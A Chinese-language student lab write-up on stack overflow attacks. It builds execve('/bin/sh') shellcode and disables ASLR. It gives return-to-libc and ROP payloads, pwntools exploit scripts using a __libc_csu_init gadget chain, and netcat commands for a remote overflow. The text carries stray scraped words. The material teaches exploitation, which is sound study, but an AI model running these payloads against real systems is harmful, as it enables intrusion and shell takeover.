本篇博客记录了我实验ROP攻击的全部内容,总体是先从简单的Shellcode构造与注入,到克服堆栈保护与地址随机化两个问题的ROP攻击,最后一部分是使用netcat进行的远程bof攻击模拟。html
shellcode 是一组指令opcode, 是能够被程序运行,由于shellcode是要直接操做寄存器和函数,因此opcode 必须是十六进制的形式。python
Shellcode有几点要求,首先是要调用系统函数获取shell权限,其次是Shellcode里面不能出现\x00
。linux
编写Shellcode的具体步骤:git
execve()
函数调用的C程序,看一下其内部都是怎么实现的。#include<stdlib.h> #include<unistd.h> char*buf[]={"/bin/sh",NULL}; void main() { execve("/bin/sh",buf,0); exit(0); }
编译查看反汇编,同时定位到main和execve两个函数处,能够发现execve就至关于执行syscall而后调用0x3b调用号,能够查到。0x3b就是execve的调用号
github
到了这一步就能够开始编写.asm文件了,由于64位的参数都是放在寄存器里的,超过六个参数才会压栈,因此,咱们须要把"/bin/sh"放到rdx里面去,以后将其地址压入栈顶,随后调用将0x3b调用号赋给rax寄存器,最后调用syscall就好了
shell
nasm -f elf64 Shellcode_64.asm
,ld -o Shellcode_64 Shellcode_64.o
#include<stdlib.h> #include<unistd.h> void main() { char ch[]="\x48\x31\xd2" "\x48\xbb\xff\x2f\x62\x69\x6e" "\x2f\x73\x68" "\x48\xc1\xeb\x08" "\x53" "\x48\x89\xe7" "\x48\x31\xc0" "\x50" "\x57" "\x48\x89\xe6" "\xb0\x3b" "\x0f\x05"; void (*fp)(void); fp=(void*)ch; fp(); }
须要注意的是,编译这个时,要加上一句-z execstack
,即开启堆栈可执行。编程
echo "0" > /proc/sys/kernel/randomize_va_space
,将randomize_va_space
设为0,能够经过more /proc/sys/kernel/randomize_va_space
来查看;execstack -s pwn20155213
将pwn20155213可执行文件设置为堆栈可执行,其中能够经过execstack -q pwn20155213
查看是否设置成功;input
16进制文件,以后经过输入(cat input ;cat )|./pwn20155213
将input传入执行中的pwn20155213中,这时打开另外一个终端,查找pwn20155213的运行进程,找到后,在gdb调试,里输入attach指令;查找foo返回地址,查看其中内容;/bin/sh
,system
的位置编写进将要注入的payloadecho "0" > /proc/sys/kernel/randomize_va_space
,将randomize_va_space
设为0,能够经过more /proc/sys/kernel/randomize_va_space
来查看;execstack -c level
恢复level的堆栈保护;gdb ./level
以后,开始调试:
print system
查看system
在内存中的位置,如图位置在0xf7e03c60
处输入print __libc_start_main
查看__libc_start_main
的位置,同时根据__libc_start_main
的位置,找到/bin/sh
的位置
bash
输入"1111111222222223333333344444444"并查看溢出位置,基本如任务二;
服务器
system
和/bin/sh
的位置,编写payload,perl -e 'print "A"x28;print "\x60\x3c\xe0\xf7\xab\xac\xad\xae\x08\x28\xf4\xf7"'
pop rdi;ret
的位置pop rdi;ret
,/bin/sh
,system
的位置编写进将要注入的payloadecho "0" > /proc/sys/kernel/randomize_va_space
,将randomize_va_space
设为0,能够经过more /proc/sys/kernel/randomize_va_space
来查看;execstack -c level
恢复level的堆栈保护;ROPgadget --binary pwn20155213 --only "pop|ret"|grep rdi
,若是查找不到须要的pop rdi;ret
则将pwn20155213
换成/lib/x86_64-linux-gnu/libc.so.6
pwn20155213
的内部地址及0x733
,这是相对地址,并非最后的运行起来的地址。pwn20155213
反汇编,了解到0x733
这个地址存在于__libc_csu_init
这段代码里,进而在gdb里,查看这段代码,获得pop rdi;ret
的位置为0x0000555555554733
,system
和/bin/sh
的位置(0x7ffff7a60510,0x7ffff7b9b3f3
)ROPgadget --binary pwn20155213 --only "pop|ret"|grep rdi
,这条语句就是用来查找可使用的gadgets,从而构造合适的ROP链进行攻击。1.寻找gadget网络
ROPEME: https://github.com/packz/ropeme
Ropper: https://github.com/sashs/Ropper
ROPgadget: https://github.com/JonathanSalwan/ROPgadget/tree/master
ROPgadget --binary 二进制文件 --only "pop|ret"|grep rdi
ROPgadget --binary 二进制文件 --only "pop|ret"|grep rdi
得到了可使用的gadget,而使用的gadget是__libc_csu_init
里面的,这个函数是用来对libc进行初始化操做,而全部使用到libc.so的都会调用这个函数,因而就能够经过这个特性构造一个通用的gadget2.使用pwntools工具在python环境下进行测试
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <dlfcn.h> void systemaddr() { void* handle = dlopen("libc.so.6", RTLD_LAZY); printf("%p\n",dlsym(handle,"system")); fflush(stdout); } void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 512); } int main(int argc, char** argv) { systemaddr(); write(1, "Hello, World\n", 13); vulnerable_function(); }
须要解释一下systemaddr这个函数,这里是为了输出system执行时的内存地址
#!/usr/bin/env python from pwn import * libc = ELF('libc.so.6') p = process('./pwn20155213') #p = remote('127.0.0.1',10001) binsh_addr_offset = next(libc.search('/bin/sh')) -libc.symbols['system'] print "binsh_addr_offset = " + hex(binsh_addr_offset) pop_ret_offset = 0x000000000002144f - libc.symbols['system']#0x000000000002144f是经过ROP查找出来的一个符合条件的gadget地址 print "pop_ret_offset = " + hex(pop_ret_offset) #pop_pop_call_offset = 0x00000000000f4739 - libc.symbols['system'] #print "pop_pop_call_offset = " + hex(pop_pop_call_offset) print "\n##########receiving system addr##########\n" system_addr_str = p.recvuntil('\n') system_addr = int(system_addr_str,16) print "system_addr = " + hex(system_addr) binsh_addr = system_addr + binsh_addr_offset print "binsh_addr = " + hex(binsh_addr) pop_ret_addr = system_addr + pop_ret_offset print "pop_ret_addr = " + hex(pop_ret_addr) #pop_pop_call_addr = system_addr + pop_pop_call_offset #print "pop_pop_call_addr = " + hex(pop_pop_call_addr) p.recv() payload = "\x00"*136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr) #payload = "\x00"*136 + p64(pop_pop_call_addr) + p64(system_addr) + p64(binsh_addr) print "\n##########sending payload##########\n" p.send(payload) p.interactive()
运行截图以下:
这里有一个缺憾,就是C代码须要输出printf("%p\n",dlsym(handle,"system"));
,及system的运行时地址,为了实现更符合日常状况的,咱们须要找一个万能的gadget,在寻找gadget那一段中已经叙述了相关万能的gadget得从__libc_csu_init
里面找。
3.放弃辅助函数的ROP攻击
#!c #include <stdio.h> #include <stdlib.h> #include <unistd.h> void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 512); } int main(int argc, char** argv) { write(STDOUT_FILENO, "Hello, World\n", 13); vulnerable_function(); }
objdump -d ./pwn20155213
,看到里面有个__libc_csu_init
函数,里面就有咱们想要的东西payload1 = "\x00"*136 payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret payload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8] payload1 += "\x00"*56 payload1 += p64(main)
payload2 = "\x00"*136 payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret payload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8] payload2 += "\x00"*56 payload2 += p64(main)
payload3 = "\x00"*136 payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret payload3 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8] payload3 += "\x00"*56
#!python #!/usr/bin/env python from pwn import * elf = ELF('level5') libc = ELF('libc.so.6') p = process('./level5') #p = remote('127.0.0.1',10001) got_write = elf.got['write'] print "got_write: " + hex(got_write) got_read = elf.got['read'] print "got_read: " + hex(got_read) main = 0x400564 off_system_addr = libc.symbols['write'] - libc.symbols['system'] print "off_system_addr: " + hex(off_system_addr) #rdi= edi = r13, rsi = r14, rdx = r15 #write(rdi=1, rsi=write.got, rdx=4) payload1 = "\x00"*136 payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret payload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8] payload1 += "\x00"*56 payload1 += p64(main) p.recvuntil("Hello, World\n") print "\n#############sending payload1#############\n" p.send(payload1) sleep(1) write_addr = u64(p.recv(8)) print "write_addr: " + hex(write_addr) system_addr = write_addr - off_system_addr print "system_addr: " + hex(system_addr) bss_addr=0x601028 p.recvuntil("Hello, World\n") #rdi= edi = r13, rsi = r14, rdx = r15 #read(rdi=0, rsi=bss_addr, rdx=16) payload2 = "\x00"*136 payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret payload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8] payload2 += "\x00"*56 payload2 += p64(main) print "\n#############sending payload2#############\n" p.send(payload2) sleep(1) p.send(p64(system_addr)) p.send("/bin/sh\0") sleep(1) p.recvuntil("Hello, World\n") #rdi= edi = r13, rsi = r14, rdx = r15 #system(rdi = bss_addr+8 = "/bin/sh") payload3 = "\x00"*136 payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret payload3 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8] payload3 += "\x00"*56 payload3 += p64(main) print "\n#############sending payload3#############\n" sleep(1) p.send(payload3) p.interactive()
这里不详细介绍netcat程序的使用了,只说两个,一个是正相链接,一个是反弹链接,咱们将会使用正向链接模逆服务器正在运行的程序,这也是ctf中pwn题的链接服务器方法。
1.关闭了地址随机化的64位bof攻击
nc -l -e pwn20155213 -p 5213
进行监听Cygwin64 Terminal
端输入(cat payload;cat)|nc 172.30.6.213 5213
2.开启地址随机化的64位bof攻击
nc -l -e pwn20155213 -p 5213
进行监听作的时间跨度有点大,前先后后一个半月,作的东西也都是别人作剩下的,没什么技术含量,也没有实际价值,只是当个实验消磨一下时间,锻炼一下